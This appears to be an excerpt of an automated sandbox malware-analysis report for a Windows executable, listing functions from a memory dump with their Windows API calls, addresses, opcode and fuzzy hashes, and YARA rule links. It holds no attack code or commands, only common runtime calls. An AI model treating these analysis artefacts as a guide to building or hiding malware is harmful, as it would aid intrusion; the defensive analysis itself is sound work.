Instruction ID: 01f07998b96725bb2338bffc63ed541f9a5b4046aa949c9b71bea7ecb8942321
Opcode Fuzzy Hash: 148d460979eed4a43ebbf671c65dc2dc638c0d89c9c01e8e00358d5495882c84
Instruction Fuzzy Hash: C3D06750B0875642FA142F7958951FC1259AF49B43B1414BCEE1A87393DD3CA84D4340

Function 00007FF6BAF1013C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF10180
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF10277

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
Instruction ID: a0a583d5c4e9b4eb11940dd28d089bac495d11b262f266aa345bb5ed9e1b764c
Opcode Fuzzy Hash: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
Instruction Fuzzy Hash: 31513BA1B092A196F7249E2E94016FA7289BF84BB6F184775EF7D837D5CF3CE5018600

Function 00007FF6BAF1C134 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,00007FF6BAF1C2CD), ref: 00007FF6BAF1C180
GetLastError.KERNEL32(?,?,?,?,?,00007FF6BAF1C2CD), ref: 00007FF6BAF1C18A

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 7d52f85de62641260209e8dbb28c5e1251e01e8bf24b4306ce9dcd9badf2c9c6
Instruction ID: 4fffbd1707868df3b013dc808beff5f418a6ccde39c85fdcc899dff63e5466ee
Opcode Fuzzy Hash: 7d52f85de62641260209e8dbb28c5e1251e01e8bf24b4306ce9dcd9badf2c9c6
Instruction Fuzzy Hash: 5911C4A1A08B9181DA208B2AA8541B9A365EB45FF5F544371EF7D877D9CE7CD4118700

Function 00007FF6BAF15924 Relevance: 3.0, APIs: 2, Instructions: 40timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6BAF15839), ref: 00007FF6BAF15957
SystemTimeToTzSpecificLocalTime.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6BAF15839), ref: 00007FF6BAF1596D

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: Time$System$FileLocalSpecific
String ID:
API String ID: 1707611234-0
Opcode ID: 497c6f3b45805196ef8f930e068bad9451f3f50de380bc241881b145e929bf5b
Instruction ID: 7c1438e0f7e69a8ad2898cb6c00cc14e40a06f57a724dae887eea6be23199e7a
Opcode Fuzzy Hash: 497c6f3b45805196ef8f930e068bad9451f3f50de380bc241881b145e929bf5b
Instruction Fuzzy Hash: 211191B160C75282EB648B18A4511BAB7A4FB857B2F900276FF9DC29D8FF2CD414DB00

Function 00007FF6BAF1A948 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,?,00007FF6BAF22D22,?,?,?,00007FF6BAF22D5F,?,?,00000000,00007FF6BAF23225,?,?,?,00007FF6BAF23157), ref: 00007FF6BAF1A95E
GetLastError.KERNEL32(?,?,?,00007FF6BAF22D22,?,?,?,00007FF6BAF22D5F,?,?,00000000,00007FF6BAF23225,?,?,?,00007FF6BAF23157), ref: 00007FF6BAF1A968

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 46e6024f15a2f57ad5ff64688e0fe3cec5898f8577aba2f63b046adc8766ef53
Instruction ID: d43b1a58fc5087983d4aa4004a35a1cace6bf0269eda4c9becca82d4ae846617
Opcode Fuzzy Hash: 46e6024f15a2f57ad5ff64688e0fe3cec5898f8577aba2f63b046adc8766ef53
Instruction Fuzzy Hash: A6E08CE0F0924243FF19ABFAA8451F81259AFC8B83F8440B4DF1DC32A1EE2C68818710

Function 00007FF6BAF1AB58 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,00007FF6BAF1A9D5,?,?,00000000,00007FF6BAF1AA8A), ref: 00007FF6BAF1ABC6
GetLastError.KERNEL32(?,?,?,00007FF6BAF1A9D5,?,?,00000000,00007FF6BAF1AA8A), ref: 00007FF6BAF1ABD0

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: ae1e15d82824e1a5fac1c7302ca2ff5641fe0b0e43db7728cd9339717749910c
Instruction ID: faa4fc3ada2663cd303ebc9274874b28da1017cf271b8958271b2849988215fd
Opcode Fuzzy Hash: ae1e15d82824e1a5fac1c7302ca2ff5641fe0b0e43db7728cd9339717749910c
Instruction Fuzzy Hash: B921C6A1F086D241FA94A7A995903F9168A9F847D2F4842B9DF2EC77D1CE7CE4414300

Function 00007FF6BAF1BEAC Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF1BED4

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 5a303e376ae32d58fd1e52f1ac99a64fdc1cf63549abbe0bdd4da132c2ec767e
Instruction ID: b645be98c56e172fe66d28d6eddb97cdb0494021400a33e9849e8ec08af33ccf
Opcode Fuzzy Hash: 5a303e376ae32d58fd1e52f1ac99a64fdc1cf63549abbe0bdd4da132c2ec767e
Instruction Fuzzy Hash: BC41B3B2918255C7EA349B6DA5402B9B3A9EF55B92F100171EF8EC36D1CF3CE402CB91

Function 00007FF6BAF17F90 Relevance: 1.6, APIs: 1, Instructions: 92COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF17FEB

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 5ef97aad980098963806d51c7f1b2ad95d4665587fd94d04304e5af75d2fd267
Instruction ID: ca69644f5a2c22c2ee2d9184518f0f79c28c3a7e75a4b9bef3831b444f72b134
Opcode Fuzzy Hash: 5ef97aad980098963806d51c7f1b2ad95d4665587fd94d04304e5af75d2fd267
Instruction Fuzzy Hash: 673106A1B0976291EE14EF19C5012F96299EF84BE1F558671DF2E877D6EE3CE401C340

Function 00007FF6BAF07F90 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF6BAF0803A

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 34b4addda2765862907a3b81e979866922c1056fd338e6a2004f4fdcbc6c49b5
Instruction ID: 9e6273b881ec508d3efbd32884af3a5af4909c75fdd481778190e451f29c4fa5
Opcode Fuzzy Hash: 34b4addda2765862907a3b81e979866922c1056fd338e6a2004f4fdcbc6c49b5
Instruction Fuzzy Hash: 7921F761B186A246FE209F2A68043FAA749BF45BD5F8C44B0EF4C87786CE7DE042C740

Function 00007FF6BAF1B93C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF1B9C2

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 0fe3e981c7cf3185d146a9a4244026f2f164e791e6f92d2a50fd94940550a020
Instruction ID: 5fed0509513ade876c3744dabf17e8c618b2f662427bccc56fe44956d2c244c4
Opcode Fuzzy Hash: 0fe3e981c7cf3185d146a9a4244026f2f164e791e6f92d2a50fd94940550a020
Instruction Fuzzy Hash: 74315EB2E1862285E6116B6D88413FC6A98AF80FA7F8101B5EF1D873D2DE7CA4428751

Function 00007FF6BAF19961 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6BAF1998F

Part of subcall function 00007FF6BAF19A88: GetModuleHandleExW.KERNEL32 ref: 00007FF6BAF19AAD
Part of subcall function 00007FF6BAF19A88: GetProcAddress.KERNEL32 ref: 00007FF6BAF19AC3
Part of subcall function 00007FF6BAF19A88: FreeLibrary.KERNEL32 ref: 00007FF6BAF19AEA

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 42808d7c08696a35870eb95595f0ae95ff90971c005bfc8769c42bb91e99b0de
Instruction ID: 56f18e0e3639a46c6354b34bd157b79327b65016742ce91d97e95059d141885e
Opcode Fuzzy Hash: 42808d7c08696a35870eb95595f0ae95ff90971c005bfc8769c42bb91e99b0de
Instruction Fuzzy Hash: B92181B2A0479589EB258F68C4803FC33A8FB44719F44567ADB6D87AD5EF38D544C780

Function 00007FF6BAF15F94 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF15EF9

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction ID: a0bb568fd5013d9781682fdbebef565f9a64bf3acfa08e4c55cb4253b6fc7b3f
Opcode Fuzzy Hash: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction Fuzzy Hash: F11187B1E1C66181FA60AF1994005FDA268BF85B86F4444B2FF8CD7B96CF7DD4019740

Function 00007FF6BAF26354 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF26377

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3765a10cee1e255344ee37f065f4be71d58868c9c9e645b3056c9746d3493235
Instruction ID: 47fcfbd16e75c16131b1fdf755de485e60c74990900a692e9855add8fab11ced
Opcode Fuzzy Hash: 3765a10cee1e255344ee37f065f4be71d58868c9c9e645b3056c9746d3493235
Instruction Fuzzy Hash: 12218072A18BC186EBA18F5CD4403B976A4FB84B55F144274EF9D876D9DF3DD8018B00

Function 00007FF6BAF103BC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF10410

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction ID: 14bd3ca7331884d24faa662d47f0fb5e06d6fc3139124df820bcc4d2403e5873
Opcode Fuzzy Hash: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction Fuzzy Hash: C101C4A1B0876580EA14DF5A99410F9A699BF85FE1F4846B1EF6C97BD6CE3CE4018300

Function 00007FF6BAF17EFC Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF17F3A

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: eb4e03bbc0b04cbc85d5aa4284f536322b5632f0a5d263bd1b62b358e696f9c3
Instruction ID: 296a90a48590546b9384ddc2182f1834a522232ed9dbd2394a2cea5e5558b8f4
Opcode Fuzzy Hash: eb4e03bbc0b04cbc85d5aa4284f536322b5632f0a5d263bd1b62b358e696f9c3
Instruction Fuzzy Hash: 19019EA0E1D6A340FE606B2D66411FA159CAF407E2F5442F5EF1DC36CADF3CE4418A80

Function 00007FF6BAF18238 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF18251

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3541b91b086c77dfe17527b78ee7977ece0d5fdea915d925a3ffaee66e22a6c2
Instruction ID: 081a44fe8cd0879821bb9061c78cb7a99d3931a7ec35ed0efc2e3415f8cdc4c2
Opcode Fuzzy Hash: 3541b91b086c77dfe17527b78ee7977ece0d5fdea915d925a3ffaee66e22a6c2
Instruction Fuzzy Hash: BFE0C2E0E0C66387FA123AAC06821F810288FE5343F5000B0EF08C73C3DD7C68456761

Function 00007FF6BAF1EB98 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FF6BAF1B32A,?,?,?,00007FF6BAF14F11,?,?,?,?,00007FF6BAF1A48A), ref: 00007FF6BAF1EBED

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 0190c006dd090f1dc8136ef035d08a675b61e1fdbed98732a32380f018d60316
Instruction ID: 47b098f52ce9fa83ad381b198cd9f76630000582cc73ab8554435495e9fbfe8b
Opcode Fuzzy Hash: 0190c006dd090f1dc8136ef035d08a675b61e1fdbed98732a32380f018d60316
Instruction Fuzzy Hash: EAF04994B0926341FE589A6D98952F4128A9F88B82F4C45B0DF0FC73C1EE1CA4818210

Function 00007FF6BAF1D5FC Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF6BAF10C90,?,?,?,00007FF6BAF122FA,?,?,?,?,?,00007FF6BAF13AE9), ref: 00007FF6BAF1D63A

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 510c613edcbd96140e332c46b5608733b20d975e117422ad796dc4540c81bb80
Instruction ID: 6029918ad070d9e3e00336a0aea1269941adbccf416a4cb717de1a236c2a96e2
Opcode Fuzzy Hash: 510c613edcbd96140e332c46b5608733b20d975e117422ad796dc4540c81bb80
Instruction Fuzzy Hash: 6DF0F890F0925745FE645B7959416F922AC9FD47A2F8807B4EF2EC72C2DF2CA4809650

Non-executed Functions

Function 00007FF6BAF05830 Relevance: 229.6, APIs: 86, Strings: 45, Instructions: 400libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,00007FF6BAF064CF,?,00007FF6BAF0336E), ref: 00007FF6BAF05840
GetLastError.KERNEL32(?,00007FF6BAF064CF,?,00007FF6BAF0336E), ref: 00007FF6BAF05852
GetProcAddress.KERNEL32(?,00007FF6BAF064CF,?,00007FF6BAF0336E), ref: 00007FF6BAF05889
GetLastError.KERNEL32(?,00007FF6BAF064CF,?,00007FF6BAF0336E), ref: 00007FF6BAF0589B
GetProcAddress.KERNEL32(?,00007FF6BAF064CF,?,00007FF6BAF0336E), ref: 00007FF6BAF058B4
GetLastError.KERNEL32(?,00007FF6BAF064CF,?,00007FF6BAF0336E), ref: 00007FF6BAF058C6
GetProcAddress.KERNEL32(?,00007FF6BAF064CF,?,00007FF6BAF0336E), ref: 00007FF6BAF058DF
GetLastError.KERNEL32(?,00007FF6BAF064CF,?,00007FF6BAF0336E), ref: 00007FF6BAF058F1
GetProcAddress.KERNEL32(?,00007FF6BAF064CF,?,00007FF6BAF0336E), ref: 00007FF6BAF0590D
GetLastError.KERNEL32(?,00007FF6BAF064CF,?,00007FF6BAF0336E), ref: 00007FF6BAF0591F
GetProcAddress.KERNEL32(?,00007FF6BAF064CF,?,00007FF6BAF0336E), ref: 00007FF6BAF0593B
GetLastError.KERNEL32(?,00007FF6BAF064CF,?,00007FF6BAF0336E), ref: 00007FF6BAF0594D
GetProcAddress.KERNEL32(?,00007FF6BAF064CF,?,00007FF6BAF0336E), ref: 00007FF6BAF05969
GetLastError.KERNEL32(?,00007FF6BAF064CF,?,00007FF6BAF0336E), ref: 00007FF6BAF0597B
GetProcAddress.KERNEL32(?,00007FF6BAF064CF,?,00007FF6BAF0336E), ref: 00007FF6BAF05997
GetLastError.KERNEL32(?,00007FF6BAF064CF,?,00007FF6BAF0336E), ref: 00007FF6BAF059A9
GetProcAddress.KERNEL32(?,00007FF6BAF064CF,?,00007FF6BAF0336E), ref: 00007FF6BAF059C5
